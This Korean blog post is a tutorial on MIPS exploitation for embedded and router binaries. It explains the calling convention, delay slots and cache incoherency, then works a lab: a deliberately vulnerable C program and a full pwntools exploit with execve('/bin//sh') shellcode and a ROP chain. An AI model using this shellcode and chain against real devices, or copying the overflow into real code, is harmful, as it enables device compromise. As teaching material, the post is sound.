haehet

MIPS Architecture Exploitation 본문

Pwnable

MIPS Architecture Exploitation

haehet 2026. 5. 1. 21:51

 최근 임베디드 장비를 분석하던 중 발견한 취약점을 실제로 검증하고 공략하기 위해서는 해당 제품이 사용하는 아키텍처에 대한 이해가 필요하다는 것을 느꼈다. 특히 공유기와 같은 IoT 장비에서는 ARM뿐만 아니라 MIPS 기반 바이너리도 자주 등장한다.

 

 MIPS는 x86과는 다른 레지스터 구조, 함수 호출 규약, 스택 프레임, 분기 방식 등을 가지고 있다. 따라서 기존에 x86-64 환경에서 익스플로잇을 작성하던 방식만으로는 MIPS 바이너리를 분석하거나 ROP 체인을 구성하기 어렵다

.

 이번 글에서는 MIPS Architecture의 기본적인 구조와 주요 명령어 호출 규약 스택 프레임의 특징을 정리하고 이를 바탕으로 MIPS 환경에서 BOF와 ROP를 어떤 관점으로 분석해야 하는지 살펴보려고 한다.

 

1. MIPS란?

MIPS란 Microprocessor without Interlocked Pipeline Stages의 약자로 스탠포드 대학교에서 개발한 RISC 계열 CPU 아키텍쳐이다. MIPS의 핵심 설계 철학은 CPU 명령어와 하드웨어 구조를 최대한 단순하게 유지하는 것이다. CISC 계열 아키텍처처럼 하나의 명령어가 복잡한 작업을 수행하기보다는 단순한 명령어들을 조합하여 프로그램을 실행한다. 이런 구조 덕분에 명령어 디코딩이 단순하고 파이프라인 구성이 깔끔해지며 임베디드 환경에서도 비교적 효율적으로 사용할 수 있다.

 

MIPS는 현재 고성능 PC에서 주류로 사용되는 아키텍처는 아니지만, 공유기, 셋톱박스, 네트워크 장비, IoT 기기 같은 임베디드 장비에서는 오랫동안 사용되어 왔다. 실제로 공유기 펌웨어를 분석하다 보면 MIPS 기반 바이너리를 자주 볼 수 있다. 

 

2. MIPS Instruction

이번 글에서는 MIPS 아키텍쳐에서의 익스플로잇을 중점으로 다룰 것이므로 명령어에 대한 설명은 cheat sheet 1개만 남기겠다.

MIPS instruction cheat sheet

3. MIPS Calling Convention 

 x86-64에서는 함수 인자가 보통 rdi, rsi, rdx, rcx 등의 레지스터를 통해 전달된다. 반면 MIPS o32 ABI에서는 첫 번째부터 네 번째 인자까지를 $a0 ~ $a3 레지스터를 통해 전달한다. 함수의 반환값은 $v0에 저장되며 함수 호출 후 돌아갈 주소는 $ra 레지스터에 저장된다. 

 

다음과 같이 간단한 프로그램을 통해 스택 구성을 알아보자.

#include <stdio.h>
#include <unistd.h>

int print(const char*msg, int time){
    for (int k = 0; k < time; k++){
        printf("%s\n", msg);
    }
}

int main(){
   print("aslkdfkalsdfads", 3);
}

 

먼저 위 프로그램을 실행 시키고 print 함수에 bp를 걸면 다음과 같이 a0에는 전달한 문자열이, a1에는 3이 들어있는 것을 확인가능하다. 

 

MIPS o32 ABI에서는 첫 4개의 인자가 $a0~$a3 레지스터로 전달된다. 하지만 ABI상 caller는 callee가 이 인자들을 저장할 수 있도록 stack frame 끝쪽에 4개 word, 즉 16바이트의 argument slot을 예약한다. 따라서 callee는 필요하다면 $a0, $a1 값을 자신의 frame 위쪽 즉 caller가 예약한 incoming argument slot에 저장할 수 있다.

Mips srack frame

 

다음과 같이 $ra 레지스터 뒤에 incoming argument slot이 존재하는 것을 볼 수 있다.

 

4. Delay Slot

Delay slot은 분기 명령어 바로 다음에 있는 명령어가 분기 결과와 관계없이 실행되는 구조를 말한다. 예를 들어 다음 코드를 보면

beq     a0, zero, target
addiu   v0, v0, 1

 

$a0 == 0 이면 target으로 jmp 하고 그 아래의 명령어는 실행이 되지 않을 것 같지만 실제로는 다음과 같이 동작한다. 

1. beq 조건을 검사한다.
2. 바로 다음 명령어인 addiu v0, v0, 1을 실행한다.
3. 그 다음 조건이 참이면 target으로 점프하고 거짓이면 그대로 아래로 진행한다.

 

즉, 위 코드에서 addiu v0, v0, 1은 a0 == 0이든 아니든 실행된다. 이때 분기 명령어 바로 뒤에 있는 한 명령어 위치를 delay slot이라고 부른다. (Delay slot이 만들어진 이유에 대해서는 따로 다루지 않겠다.)

 

위와 같이 분기 명령어가 실행되기 전 Delay slot이 존재하는 것을 볼 수 있다.

5. Cache Incoherency

MIPS 계열 CPU는 보통 명령어를 가져오는 Instruction Cache(I-Cache)와 데이터를 읽고 쓰는 Data Cache(D-Cache)를 분리해서 사용한다.

Mips의 cache

 

 일반적인 프로그램에서는 이 차이를 크게 신경 쓸 일이 없다. 하지만 exploit에서 stack이나 heap에 shellcode를 쓴 뒤 그 주소로 직접 jump하려고 하면 문제가 생길 수 있다.

 

우리가 shellcode를 stack이나 heap에 쓰는 것은 data write이므로 D-Cache 경로를 통해 처리된다. 이때 최신 shellcode가 D-Cache에만 존재하고 main memory에는 아직 write-back되지 않았을 수 있으며 I-Cache에는 해당 주소의 오래된 instruction이 남아 있을 수 있다. 따라서 shellcode 주소로 바로 jump하면 CPU가 최신 shellcode를 instruction으로 fetch하지 못해 실행이 실패할 수 있다.


Mips의 Cache 쓰기 정책

위 문제를 해결하기 위해 주로 사용되는 방법은 sleep() 함수를 호출하는 것이다. sleep 함수를 호출하면 syscall/context switch/시간 경과로 인해 cache 상태가 바뀌면서 shellcode 실행 안정성이 높아질 수 있기 때문이다.

 

6. Stack Buffer Overflow Exploit 

위 내용을 바탕으로 간단하게 Stack based BOF 예제를 실습해보자. 실습해볼 코드는 다음과 같다. (Cache Incoherency 우회용으로 sleep을 ROP로 호출하는 것은 너무 귀찮으므로 그냥 sleep(1)을 중간에 직접 넣었따).

#include <stdio.h>
#include <unistd.h>


int vuln(){
    char buf[30];
    printf("Payload: ");
    read(0, buf, 0x300);
    
    sleep(1);
    printf("I hope you to get shell\n");
    return 0;
}

int main(){
   setvbuf(stdout, NULL, _IONBF, 0);
   vuln();
}

 

익스플로잇은 다음과 같이 shellcode를 뿌리고 s0에 sp 관련 주소를 넣은뒤 해당 주소로 jmp를 했다. 

#!/usr/bin/env python3
from pwn import *
p = process([
    "qemu-mipsel-static",
    "-L", "/usr/mipsel-linux-gnu",
    "./main"
])
context.log_level = 'info'

libc_base = 0x2b310000
pop_gadget = libc_base + 0x00052bf0
gadget_B   = libc_base + 0x0013eda4
call_s0    = libc_base + 0x001ab95c

# [1]  Shellcode

shellcode = (
    b"\x69\x6e\x02\x3c"  # lui   v0, 0x6e69
    b"\x2f\x62\x42\x24"  # addiu v0, v0, 0x622f
    b"\xec\xff\xa2\xaf"  # sw    v0, -0x14(sp)   # "/bin"
    b"\x73\x68\x03\x3c"  # lui   v1, 0x6873
    b"\x2f\x2f\x63\x24"  # addiu v1, v1, 0x2f2f
    b"\xf0\xff\xa3\xaf"  # sw    v1, -0x10(sp)   # "//sh"
    b"\xf4\xff\xa0\xaf"  # sw    zero, -0xc(sp)
    b"\xfc\xff\xa0\xaf"  # sw    zero, -4(sp)
    b"\xfc\xff\xa6\x27"  # addiu a2, sp, -4
    b"\xec\xff\xa4\x27"  # addiu a0, sp, -0x14
    b"\xf8\xff\xa4\xaf"  # sw    a0, -8(sp)
    b"\xf8\xff\xa5\x27"  # addiu a1, sp, -8
    b"\xab\x0f\x02\x24"  # li    v0, 4011        # execve
    b"\x0c\x01\x01\x01"  # syscall 0x40404
)
# [2] ROP payload

payload = b"a" * 0x24 
payload += p32(pop_gadget)
payload += b"B" * 0x18
payload += p32(0)  # s0 dummy
payload += p32(0)  # s1 dummy
payload += p32(0)  # s2 dummy
payload += p32(call_s0)     # s3 = jr s0 gadget
payload += p32(0)  # s4 dummy
payload += p32(gadget_B)    # ra = sp_to_s0 + call_s3 gadget

payload += b"C" * 0x2c
payload += shellcode

p.sendafter(b"Payload: ", payload)
p.interactive()

'''
0x00052bf0:
    addiu  $a0, $a0, -0x26f8
    lw     $ra, 0x2c($sp)
    lw     $s4, 0x28($sp)
    lw     $s3, 0x24($sp)
    lw     $s2, 0x20($sp)
    lw     $s1, 0x1c($sp)
    lw     $s0, 0x18($sp)
    jr     $ra
    addiu  $sp, $sp, 0x30

0x0013eda4:
    addiu  $s0, $sp, 0x2c
    sw     $a0, 0x1c($sp)
    move   $t9, $s3
    jalr   $t9
    addiu  $s2, $sp, 0x1c

0x001ab95c:
    jr     $s0
    addi   $zero, $zero, 0x10

'''

 
위 예제 말고도 실제 Mips 환경에서의 익스플로잇을 보고 싶다면 실제 CVE의 RCE 코드를 찾아보도록 하자. (ex: https://www.exploit-db.com/exploits/48994
 
 

7. 마무리 

이번 글에서는 Mips 환경에서의 익스플로잇을 알아보았다. x86/64 아키텍쳐와는 다르게 쉬운 ROP 예제도 굉장히 어렵게 느껴지는 것 같다. 사실 오늘은 원래 배송이 온 공유기를 직접 분석해보려구 했는데 다른 제품으로 배송이 와서 ㅏㅏㅏㅏㅏㅏㅏㅏㅏ(사기인가??) Mips 관련 익스를 올렸따. 오늘 용산에 가서 인두기랑 이것저것 사왔으니까 다음 글에서는 실제 공유기 분석등을 할 것 같다...
 
 

 

reference:

https://www.cs.cornell.edu/courses/cs3410/2008fa/MIPS_Vol3.pdf ㅈ

https://www.cs.unm.edu/~jeffk/cs341f09/_media/o32callingconvention.pdf

https://jeongzero.oopy.io/67f7f2ce-2e58-461c-b65a-f3453efe96c4

https://hackyboiz.github.io/2025/08/21/newp1ayer48/mips/ko/

'Pwnable' 카테고리의 다른 글

tcache_perthread_struct overwriting  (0) 2026.01.26
FSOP 정리  (0) 2025.11.08
heap exploit 정리  (0) 2025.11.05
side channel attack(with assembly)  (0) 2025.10.02
프로그램 시작, 종료 과정 및 관련 취약점 분석  (0) 2025.08.23